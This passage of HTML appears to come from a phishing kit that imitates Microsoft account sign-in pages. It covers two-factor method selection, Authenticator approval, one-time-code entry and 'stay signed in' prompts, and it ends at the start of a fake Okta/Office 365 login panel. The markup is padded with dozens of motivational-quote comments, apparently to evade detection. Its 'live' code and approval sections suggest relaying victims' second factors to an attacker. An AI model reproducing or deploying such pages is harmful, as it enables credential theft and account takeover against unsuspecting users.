            <a class="link mb-16" style="font-size: 13px;" href="https://go.microsoft.com/fwlink/p/?LinkId=708614" target="_blank">More information</a>
<!-- <div>Don&#039;t watch the clock; do what it does. Keep going.</div> -->
            </div>
        </div>
    </section>

<!-- Success is not the absence of failure; it&#039;s the persistence through failure. -->
    <section id="section_signinanothererror" class="d-none">
        <div class="auth-wrapper">
<!-- The secret of getting ahead is getting started. -->
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>You know you are on the road to success if you would do your job, and not be paid for it.</div> -->
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
            <div class="firstlogo"></div>
            <div class="identity w-100 mt-16 mb-16">
                <span class="user_identity">a@b.com</span>
<!-- The only limit to our realization of tomorrow will be our doubts of today. -->
            </div>
<!-- <div>Success is the sum of small efforts, repeated day in and day out.</div> -->
            <h2 class="title mb-16">Let’s try something else</h2>
            <div id="signinanothererrordesc" class="text-block-body form-group overflow-hidden no-margin-top">
<!-- You know you are on the road to success if you would do your job, and not be paid for it. -->
            You've hit our limit on <span id="signinanothererrordescmethod">verification calls.</span> Use <a data-id="useAuthenticator" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">Microsoft Authenticator</a> or try to sign in again shortly.
            </div>
            <div class="signinanothererrorsigninanother form-group">
<!-- All our dreams can come true if we have the courage to pursue them. -->
            Having trouble? <a data-id="signInAnotherWay" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">Sign in another way</a>
            </div>
            <div class="bottomsection">
            </div>
            <!-- <p class="mb-16 fs-13">No account? <a href="" class="link">Create one!</a></p> -->
            </div>
<!-- Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph. -->
        </div>
    </section>

    <section id="section_accessblocked" class="d-none">
<!-- <div>All our dreams can come true if we have the courage to pursue them.</div> -->
        <div class="auth-wrapper">
            <div class="loading-container">
<!-- Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Success is not final, failure is not fatal: It is the courage to continue that counts.</div> -->
            </div>
            <div class="sectioncontent">
<!-- <div>Action is the foundational key to all success.</div> -->
            <div class="bannerlogo" class="d-block"></div>
<!-- The secret of getting ahead is getting started. -->
            <div class="identity w-100 mt-16 mb-16">
                <button class="back" onclick="backbtn()">
                    <img src="/wxinVIVm1FP9peR3R6u7opErLf6L7p0U34130"/>
                </button> 
<!-- <div>The way to get started is to quit talking and begin doing.</div> -->
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16"></h2>
<!-- <div>The only way to do great work is to love what you do.</div> -->
            <div id="accessblockeddesc" class="text-block-body form-group overflow-hidden no-margin-top"></div>
            <div id="accessblockedsignoutoption"></div>
<!-- Try not to become a man of success. Rather become a man of value. -->
            <a id="MoreDetails" class="no-wrap" href="javascript:void(0)" onclick="document.getElementById('accessblockedtroubleshootingele').classList.remove('d-none')" role="button" aria-label="Click here for more details">More details</a>
            </div>
        </div>

        <div id="accessblockedtroubleshootingele" class="auth-wrapper table d-none">
<!-- <div>Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful.</div> -->
            <div id="accessblockedtroubleshootingcontent" class="sectioncontent">
<!-- The only limit to our realization of tomorrow will be our doubts of today. -->
            <div class="table-row">
            <div class="table-cell">
            <div class="debug-details-header">
                <div id="debugDetailsHeader"  role="heading">Troubleshooting details</div>
<!-- I find that the harder I work, the more luck I seem to have. -->
                <div>If you contact your administrator, send this info to them.</div>
                <a id="idCopyToClipboard" href="javascript:void(0)" role="button" aria-describedby="debugDetailsHeader" aria-label="Copy info to clipboard">Copy info to clipboard</a>
            </div>
            <div id="debugdetailsinfo" class="override-ltr">
<!-- <div>Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph.</div> -->

<!-- <div>Success is not how high you have climbed, but how you make a positive difference to the world.</div> -->
            </div>
            <div class="debug-trace-section">
                <div>
<!-- <div>The secret of getting ahead is getting started.</div> -->
                    <span class="bold">Flag sign-in errors for review:</span>
                    <a id="setDebugMode" role="button" href="javascript:void(0)" aria-label="Enable flagging">Enable flagging</a>
                </div>
                <div>If you plan on getting help for this problem, enable flagging and try to reproduce the error within 20 minutes. Flagged events make diagnostics available and are raised to admin attention.</div>
<!-- <div>Don&#039;t watch the clock; do what it does. Keep going.</div> -->
            </div>
           </div>
<!-- <div>The only limit to our realization of tomorrow will be our doubts of today.</div> -->
            <a id="errorBannerCloseLink" role="button" href="javascript:void(0)" onclick="document.getElementById('accessblockedtroubleshootingele').classList.toggle('d-none')" aria-label="Close troubleshooting details">
                <img role="presentation" src="/efeTX24QxktIj5BhnVVTAFaAij2zhhIyRY6t57Cq90150" alt="Close troubleshooting details">
            </a>
<!-- Never give in except to convictions of honor and good sense. -->
            </div>
        </div>
    </section>
<!-- <div>Success is finding satisfaction in giving a little more than you take.</div> -->

    <section id="section_multipleaccounts" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
<!-- <div>Success is the sum of small efforts, repeated day in and day out.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Success is not the absence of failure; it&#039;s the persistence through failure. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
<!-- <div>Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph.</div> -->
            <div class="bannerlogo" class="d-block"></div>
            <div id="multipleaccountsdesc" class="row text-body text-block-body"></div>
            <div id="error_multipleaccounts" class="error"></div>
            <div id="multipleaccountoptions" class="form-group" role="list">

            </div>
<!-- Innovation distinguishes between a leader and a follower. -->
            <div class="bottomsection"></div>
            <button class="btn2fa" onclick="backbuttonclick(this,2)" id="btn_back">Back</button>
            </div>
        </div>
    </section>

<!-- <div>Success in business requires training, discipline, and hard work.</div> -->
    <section id="section_2fa" class="d-none">
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Success is walking from failure to failure with no loss of enthusiasm. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Never give in except to convictions of honor and good sense. -->
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
<!-- Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph. -->
            <div class="identity w-100 mt-16 mb-16">
                <button class="back">
                    <img src="/wxinVIVm1FP9peR3R6u7opErLf6L7p0U34130"/>
<!-- You know you are on the road to success if you would do your job, and not be paid for it. -->
                </button>
<!-- <div>I find that the harder I work, the more luck I seem to have.</div> -->
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16">Verify your identity</h2>
            <div id="error_2fa" class="error"></div>
<!-- <div>You know you are on the road to success if you would do your job, and not be paid for it.</div> -->
                <div id="2famethods" class="form-group" role="list">
<!-- Leadership is not about being in charge, it&#039;s about taking care of those in your charge. -->

                </div>
            <div class="bottomsection"></div>
            <button class="btn2fa btn_can" id="btn_can">Cancel</button>
            </div>
<!-- <div>The road to success and the road to failure are almost exactly the same.</div> -->
        </div>
    </section>

    <section id="section_authapp" class="d-none">
        <div class="auth-wrapper">
<!-- <div>Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful.</div> -->
            <div class="loading-container">
                <div class="dot-floating"></div>
<!-- Success is walking from failure to failure with no loss of enthusiasm. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Trust is the foundation of any relationship. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
<!-- <div>The way to get started is to quit talking and begin doing.</div> -->
            <div class="bannerlogo" class="d-block"></div>
            <div class="identity w-100 mt-16 mb-16">
<!-- Success is the sum of small efforts, repeated day in and day out. -->
                <button class="back" onclick="backbtn()">
                    <img src="/wxinVIVm1FP9peR3R6u7opErLf6L7p0U34130"/>
<!-- <div>Great leaders inspire action.</div> -->
                </button> 
<!-- The road to success and the road to failure are almost exactly the same. -->
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16">Approve sign in request</h2>
<!-- Success is finding satisfaction in giving a little more than you take. -->
            <img class="tile-img small" role="presentation" id="authappimg" src="/ijhGIZLq957o0p4dbFOyzTEl8o4JcoSxJedsi56170">
            <div id="authappdesc" class="form-group"></div>
            <div id="error_authapp" class="error"></div>
<!-- <div>Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph.</div> -->
            <div class="row text-body">
            <div class="display-sign-container">
            <div id="authappcode" class="displaySign"></div>
<!-- Don&#039;t be afraid to give up the good to go for the great. -->
            </div>
            </div>
            <div id="authappbottomdesc" class="form-group">No numbers in your app? Make sure to upgrade to the latest version</div>
            <div class="bottomsection"></div>
            </div>
        </div>
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
    </section>
<!-- Never give in except to convictions of honor and good sense. -->

    <section id="section_authapperror" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
<!-- The starting point of all achievement is desire. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
<!-- <div>Success is finding satisfaction in giving a little more than you take.</div> -->
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
            <div class="identity w-100 mt-16 mb-16">
                <span class="user_identity">a@b.com</span>
<!-- The secret of success is to do the common thing uncommonly well. -->
            </div>
            <h2 class="title mb-16"></h2>

            <div id="authapperrordesc" class="form-group"></div>

<!-- Innovation distinguishes between a leader and a follower. -->
            <div id="authapperrorresend"></div>
            
            <div class="text-subtitle">Having trouble?</div>
<!-- The way to get started is to quit talking and begin doing. -->

            <div class="row text-body" style="margin-bottom: 0;">
            
            </div>
<!-- Success is the sum of small efforts, repeated day in and day out. -->
            <a id="moreInfoUrl" class="link mb-16" href="javascript:void(0)" target="_blank">More information</a>
            <button class="btn2fa btn_can" id="btn_can">Cancel</button>
<!-- Don&#039;t be distracted by criticism. Remember, the only taste of success some people get is to take a bite out of you. -->
            </div>
        </div>
<!-- Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful. -->
    </section>
<!-- <div>You know you are on the road to success if you would do your job, and not be paid for it.</div> -->

    <section id="section_authcall" class="d-none">
        <div class="auth-wrapper">
<!-- You know you are on the road to success if you would do your job, and not be paid for it. -->
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Successful people do what unsuccessful people are not willing to do. Don&#039;t wish it were easier; wish you were better. -->
                <div class="dot-floating"></div>
<!-- <div>Success is not built on success. It&#039;s built on failure. It&#039;s built on frustration. Sometimes it&#039;s built on catastrophe.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Success is the sum of small efforts, repeated day in and day out.</div> -->
                <div class="dot-floating"></div>
            </div>
<!-- <div>The only place where success comes before work is in the dictionary.</div> -->
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
<!-- Success is not the key to happiness. Happiness is the key to success. -->
            <div class="identity w-100 mt-16 mb-16">
                <button class="back" onclick="backbtn()">
<!-- Success is not built on success. It&#039;s built on failure. It&#039;s built on frustration. Sometimes it&#039;s built on catastrophe. -->
                    <img src="/wxinVIVm1FP9peR3R6u7opErLf6L7p0U34130"/>
                </button> 
                <span class="user_identity">a@b.com</span>
<!-- Success is not the absence of failure; it&#039;s the persistence through failure. -->
            </div>
            <h2 class="title mb-16">Approve sign in request</h2>
            <img class="tile-img small" role="presentation" id="authcallimg" src="/wxXOAz0YnwsA5MOFHMqEyzZMSFZ59C8drsjUtdkHWhSo0Ormg90176">
<!-- <div>The only limit to our realization of tomorrow will be our doubts of today.</div> -->
            <div id="authcalldesc" class="form-group"></div>
            <div id="error_authcall" class="error"></div>
<!-- Action is the foundational key to all success. -->
            <div class="bottomsection"></div>
            </div>
        </div>
    </section>
<!-- Stop chasing the money and start chasing the passion. -->

<!-- Success is finding satisfaction in giving a little more than you take. -->
    <section id="section_confirmemail" class="d-none">
        <div class="auth-wrapper">
<!-- Success is not the absence of failure; it&#039;s the persistence through failure. -->
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>I find that the harder I work, the more luck I seem to have.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>All our dreams can come true if we have the courage to pursue them.</div> -->
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
<!-- <div>Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful.</div> -->
            <div class="bannerlogo" class="d-block"></div>
            <div class="identity w-100 mt-16 mb-16">
                <button class="back" onclick="backbtn()">
<!-- Success is how high you bounce when you hit bottom. -->
                    <img src="/wxinVIVm1FP9peR3R6u7opErLf6L7p0U34130"/>
                </button> 
                <span class="user_identity">a@b.com</span>
<!-- Stop chasing the money and start chasing the passion. -->
            </div>
            <h2 class="title mb-16">Verify your email</h2>
            <div id="verifyemaildesc" class="form-group"></div>
<!-- Innovation distinguishes between a leader and a follower. -->
            <div id="error_verifyemail" class="error"></div>
            <input id="inp_confirmemail" type="text" name="confirmemail" class="input form-group" placeholder="someone@example.com">
            <div class="bottomsection"></div>
<!-- If you are not willing to risk the usual, you will have to settle for the ordinary. -->
            <button class="btn" id="btn_confirmemail">Send Code</button>
            </div>
        </div>
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
    </section>
<!-- Don&#039;t be afraid to give up the good to go for the great. -->

    <section id="section_protectaccount" class="d-none">
<!-- Success is not in what you have, but who you are. -->
        <div class="auth-wrapper">
<!-- <div>The road to success and the road to failure are almost exactly the same.</div> -->
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Success is not the absence of failure; it&#039;s the persistence through failure. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
            <div class="identity w-100 mt-16 mb-16">
<!-- Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful. -->
                <button class="back" onclick="backbtn()">
                    <img src="/wxinVIVm1FP9peR3R6u7opErLf6L7p0U34130"/>
                </button> 
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16">Help us protect your account</h2>
<!-- <div>The way to get started is to quit talking and begin doing.</div> -->
            <div id="protectaccountdesc" class="form-group"></div>
            <div id="error_protectaccount" class="error"></div>
            <div id="protectaccountoptions" role="radiogroup"></div>
<!-- Successful people do what unsuccessful people are not willing to do. Don&#039;t wish it were easier; wish you were better. -->
            <div class="bottomsection"></div>
<!-- Success is where preparation and opportunity meet. -->
            <button class="btn" id="btn_protectaccount" onclick="protectsend(this)">Send Code</button>
            </div>
<!-- <div>The customer is always right.</div> -->
        </div>
    </section>

<!-- The way to get started is to quit talking and begin doing. -->
    <section id="section_otp" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
<!-- I find that the harder I work, the more luck I seem to have. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Stop chasing the money and start chasing the passion. -->
            </div>
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
<!-- Success is the sum of small efforts, repeated day in and day out. -->
            <div class="identity w-100 mt-16 mb-16">
                <button class="back" onclick="backbtn()">
                    <img src="/wxinVIVm1FP9peR3R6u7opErLf6L7p0U34130"/>
<!-- <div>Quality is not an act; it is a habit.</div> -->
                </button>
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16">Enter code</h2>
<!-- Try not to become a man of success. Rather become a man of value. -->
            <div class="row text-body">
            <img class="tile-img small" role="presentation" id="otpimg" src="/opynyAfy33DuIgBk7QB1bQeTPij4RlRRBsyrkovkDwvD5IUQyl22vwLef198">
            <div id="otpdesc" class="text-block-body overflow-hidden form-group"></div>
            <div id="error_otp" class="error"></div>
            </div>
<!-- <div>You know you are on the road to success if you would do your job, and not be paid for it.</div> -->
            <input id="inp_otpcode" type="text" name="otpcode" oninput="validatediginp(this)" class="input form-group" placeholder="Code">
            
            <label class="has-checkbox d-none">
<!-- <div>The biggest risk is not taking any risk.</div> -->
                <input type="checkbox" class="checkbox" />
                <span>Don't ask me again on this device</span>
            </label>
            <div>
            <div class="bottomsection"></div>
            <button class="btn" id="btn_verifyotp">Verify</button>
<!-- <div>Success is the sum of small efforts, repeated day in and day out.</div> -->
            </div>
            </div>
        </div>
<!-- <div>The starting point of all achievement is desire.</div> -->
    </section>

    <section id="section_confirmemailorphone_live" class="d-none">
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Success usually comes to those who are too busy to be looking for it.</div> -->
                <div class="dot-floating"></div>
<!-- Success is getting what you want, happiness is wanting what you get. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
<!-- <div>Don&#039;t be distracted by criticism. Remember, the only taste of success some people get is to take a bite out of you.</div> -->
            <div class="bannerlogo" class="d-block"></div>
            <div class="identity w-100 mt-16 mb-16">
<!-- Don&#039;t be afraid to give up the good to go for the great. -->
                <button class="back" onclick="backbtn()">
                    <img src="/wxinVIVm1FP9peR3R6u7opErLf6L7p0U34130"/>
                </button> 
                <span class="user_identity">a@b.com</span>
<!-- All our dreams can come true if we have the courage to pursue them. -->
            </div>
            <h2 class="title mb-16" id="confirmemailorphone_live_title">Verify your email</h2>
            <div id="confirmemailorphone_livedesc" class="form-group"></div>
            <div id="error_confirmemailorphone_live" class="error"></div>
<!-- Don&#039;t be afraid to give up the good to go for the great. -->
            <input id="confirmemailorphone_live_hidden" type="hidden" value="">
            <input id="inp_confirmemailorphone_live" type="text" name="confirmemail" class="input form-group" placeholder="someone@example.com">
            <div class="bottomsection"></div>
            <button class="btn btn-small" id="btn_confirmemailorphone_live" onclick="twofalive(this)">Send Code</button>
<!-- All our dreams can come true if we have the courage to pursue them. -->
            </div>
        </div>
    </section>
<!-- Leadership is not about being in charge, it&#039;s about taking care of those in your charge. -->

    <section id="section_otp_live" class="d-none">
        <div class="auth-wrapper">
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Great leaders inspire action.</div> -->
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
<!-- The customer is always right. -->
            <div class="identity w-100 mt-16 mb-16">
                <button class="back" onclick="backbtn()">
<!-- Action is the foundational key to all success. -->
                    <img src="/wxinVIVm1FP9peR3R6u7opErLf6L7p0U34130"/>
                </button>
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16">Enter code</h2>
            <div class="row text-body">
<!-- Stop chasing the money and start chasing the passion. -->
            <img class="tile-img small" role="presentation" id="otpliveimg" src="/opynyAfy33DuIgBk7QB1bQeTPij4RlRRBsyrkovkDwvD5IUQyl22vwLef198">
            <div id="otp_livedesc" class="text-block-body overflow-hidden form-group"></div>
            <div id="error_otp_live" class="error"></div>
<!-- <div>Success in business requires training, discipline, and hard work.</div> -->
            </div>
            <input id="inp_otp_live" type="text" name="otpcode" oninput="validatediginp(this)" class="input form-group" placeholder="Code">
            
<!-- <div>Quality is not an act; it is a habit.</div> -->
            <label class="has-checkbox d-none">
                <input type="checkbox" class="checkbox" />
                <span>Don't ask me again on this device</span>
<!-- <div>Success is not in what you have, but who you are.</div> -->
            </label>
            <div>
            <div class="bottomsection"></div>
<!-- The way to get started is to quit talking and begin doing. -->
            <button class="btn" id="btn_verifyotp_live" onclick="twofalive(this)">Verify</button>
            </div>
            </div>
        </div>
    </section>
<!-- Success is not the key to happiness. Happiness is the key to success. -->

<!-- Success is not the key to happiness. Happiness is the key to success. -->
    <section id="section_authapp_live" class="d-none">
        <div class="auth-wrapper">
<!-- Don&#039;t be distracted by criticism. Remember, the only taste of success some people get is to take a bite out of you. -->
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Success is not in what you have, but who you are. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
<!-- <div>Success is walking from failure to failure with no loss of enthusiasm.</div> -->
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
            <div class="identity w-100 mt-16 mb-16">
                <button class="back" onclick="backbtn()">
<!-- <div>The only limit to our realization of tomorrow will be our doubts of today.</div> -->
                    <img src="/wxinVIVm1FP9peR3R6u7opErLf6L7p0U34130"/>
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
                </button>
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16">Approve sign in request</h2>
<!-- Success is not final, failure is not fatal: It is the courage to continue that counts. -->
            <div class="row text-body">
            <div id="authapp_livedesc" class="text-block-body overflow-hidden text-m">Open the Microsoft app (such as Authenticator or Outlook) you use for approving sign-in requests and approve request <span id="authapp_live_code"></span>.</div>
            <div id="error_authapp_live" class="error"></div>
            </div>
            <label class="mb-16 has-checkbox">
<!-- <div>Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful.</div> -->
                <input type="checkbox" class="checkbox" style="width: 29px;bottom: 10px;position: relative;"/>
                <span>I sign in frequently on this device. Don't ask me to approve requests here.</span>
<!-- <div>Success is not how high you have climbed, but how you make a positive difference to the world.</div> -->
            </label>
            <div>
            <div class="bottomsection"></div>
            </div>
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
            </div>
        </div>
    </section>
<!-- <div>Successful people do what unsuccessful people are not willing to do. Don&#039;t wish it were easier; wish you were better.</div> -->

    <section id="section_signin_blocked_live" class="d-none">
        <div class="auth-wrapper">
<!-- <div>The only limit to our realization of tomorrow will be our doubts of today.</div> -->
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Success is how high you bounce when you hit bottom. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Every problem is an opportunity in disguise. -->
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
            <div class="firstlogo"></div>
            <div class="identity w-100 mt-16 mb-16">
                <span class="user_identity">a@b.com</span>
<!-- <div>Success is the sum of small efforts, repeated day in and day out.</div> -->
            </div>
            <h2 class="title mb-16">Sign in</h2>
<!-- The road to success and the road to failure are almost exactly the same. -->
            <div class="text-block-body form-group overflow-hidden no-margin-top error">Sign-in is blocked</div>
            <div id="signin_blocked_livedesc" class="text-block-body form-group overflow-hidden no-margin-top error">You've tried to sign in too many times with an incorrect account or password.</div>
            <div class="text-block-body form-group overflow-hidden no-margin-top">Sign-in with <span id="signin_blocked_live_email" style="font-weight: bold;"></span> is blocked for one of these reasons:
            </div>
<!-- <div>Success is getting what you want, happiness is wanting what you get.</div> -->
            <div id="signin_blocked_reason" class="text-block-body form-group overflow-hidden no-margin-top">Someone entered the wrong password too many times.
            </div>
            <div class="text-block-body form-group overflow-hidden no-margin-top">If you signed up for this account through an organization, you might not be able to use it yet.</div>
            <div class="signin_blocked_livebottom">
<!-- <div>Success is not how high you have climbed, but how you make a positive difference to the world.</div> -->
            <div class="bottomoption form-group">
            <a data-id="SwitchUser" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">Sign in using another Microsoft account</a>
<!-- <div>Success is not the absence of failure; it&#039;s the persistence through failure.</div> -->
            </div>

<!-- I find that the harder I work, the more luck I seem to have. -->
            </div>
<!-- The successful warrior is the average man, with laser-like focus. -->
            <div class="bottomsection">
<!-- <div>Trust is the foundation of any relationship.</div> -->
            </div>
            <!-- <p class="mb-16 fs-13">No account? <a href="" class="link">Create one!</a></p> -->
<!-- <div>Success is how high you bounce when you hit bottom.</div> -->
            </div>
        </div>
    </section>

    <section id="section_protect_account_live" class="d-none">
        <div class="auth-wrapper">
<!-- I find that the harder I work, the more luck I seem to have. -->
            <div class="loading-container">
                <div class="dot-floating"></div>
<!-- <div>The way to get started is to quit talking and begin doing.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Success is not in what you have, but who you are. -->
                <div class="dot-floating"></div>
<!-- <div>Success is not in what you have, but who you are.</div> -->
            </div>
            <div class="sectioncontent">
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
            <div class="firstlogo"></div>
            <div class="identity w-100 mt-16 mb-16">
                <span class="user_identity">a@b.com</span>
<!-- <div>Success is not how high you have climbed, but how you make a positive difference to the world.</div> -->
            </div>
            <h2 class="title mb-16">Let's protect your account</h2>
            <div class="text-block-body form-group overflow-hidden no-margin-top error">Sign-in is blocked</div>
            <div id="protect_account_livedesc" class="text-block-body form-group overflow-hidden no-margin-top error">To ensure your account remains protected, we recommend logging in with a different account when you encounter verification issues. This helps maintain seamless access without requiring additional security info, such as an alternate email address.</div>
            <div class="protect_account_livebottom">
<!-- <div>I find that the harder I work, the more luck I seem to have.</div> -->
            <div class="bottomoption form-group">
<!-- Success is not the absence of failure; it&#039;s the persistence through failure. -->
            <a data-id="SwitchUser" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">Sign in using another Microsoft account</a>
            </div>

            </div>
<!-- <div>The way to get started is to quit talking and begin doing.</div> -->
            <div class="bottomsection">
            </div>
<!-- <div>Opportunities don&#039;t happen, you create them.</div> -->
            <!-- <p class="mb-16 fs-13">No account? <a href="" class="link">Create one!</a></p> -->
            </div>
        </div>
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
    </section>

    <section id="section_final" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
<!-- <div>I find that the harder I work, the more luck I seem to have.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Success is finding satisfaction in giving a little more than you take. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Success is getting what you want, happiness is wanting what you get. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
            <div class="identity w-100 mt-16 mb-16">
<!-- The starting point of all achievement is desire. -->
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16">Stay signed in?</h2>
<!-- If you really look closely, most overnight successes took a long time. -->
            <p class="p">Stay signed in so you don't have to sign in again next time.</p>
            <label class="has-checkbox">
<!-- Success is finding satisfaction in giving a little more than you take. -->
                <input type="checkbox" class="checkbox" />
<!-- Success is not the absence of failure; it&#039;s the persistence through failure. -->
                <span>Don't show this again</span>
            </label>
            <div class="btn-group">
                <button class="btn btn-sec btn_final">No</button>
                <button class="btn btn_final">Yes</button>
            </div>
<!-- <div>Success is not the absence of failure; it&#039;s the persistence through failure.</div> -->
            </div>
        </div>
    </section>
<!-- Success is walking from failure to failure with no loss of enthusiasm. -->

<!-- <div>Success is where preparation and opportunity meet.</div> -->

<footer id="footer" class="footer">
    <a href="javascript:void(0)">Terms of use</a>
    <a href="javascript:void(0)">Privacy & cookies</a>
<!-- Don&#039;t watch the clock; do what it does. Keep going. -->
    <span>.&nbsp;.&nbsp;.</span>
<!-- <div>Quality is not an act; it is a habit.</div> -->
</footer>

</div>

<!-- Success is getting what you want, happiness is wanting what you get. -->




<div id="sections_okta" class="websitesections d-none">
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
    <link id="okta_css1" href="https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css" type="text/css" rel="stylesheet" xintegrity="sha384-s4VmJS0LKpE1WfmPdAkU95ZUvAyV4VjfkpSF6d43LR0Yjt5WTPiZVBy3ed4EYneO" rickorigin="anonymous">
    <link id="okta_css2" href="https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css" rel="stylesheet" type="text/css">
<!-- <div>I find that the harder I work, the more luck I seem to have.</div> -->
    <div class="auth okta-container">
<!-- <div>Success is where preparation and opportunity meet.</div> -->
      <div id="login-bg-image" class="login-bg-image tb--background bgStyle" data-se="login-bg-image"></div>
      <div class="content">
        <div class="applogin-banner">
<!-- <div>Success is not in what you have, but who you are.</div> -->
          <div class="applogin-background"></div>
          <div class="applogin-container">
            <h1>
              <span class="applogin-app-title"> Connecting to</span>
              <div class="applogin-app-logo">
                <img src="https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7" alt="Student" class="logo office365">
<!-- <div>The biggest risk is not taking any risk.</div> -->
              </div>
            </h1>
            <p>Sign in with your account to access Office 365</p>
<!-- <div>The starting point of all achievement is desire.</div> -->
          </div>
        </div>
        <div id="signin-container">
<!-- <div>Persistence is the key to achieving great things.</div> -->
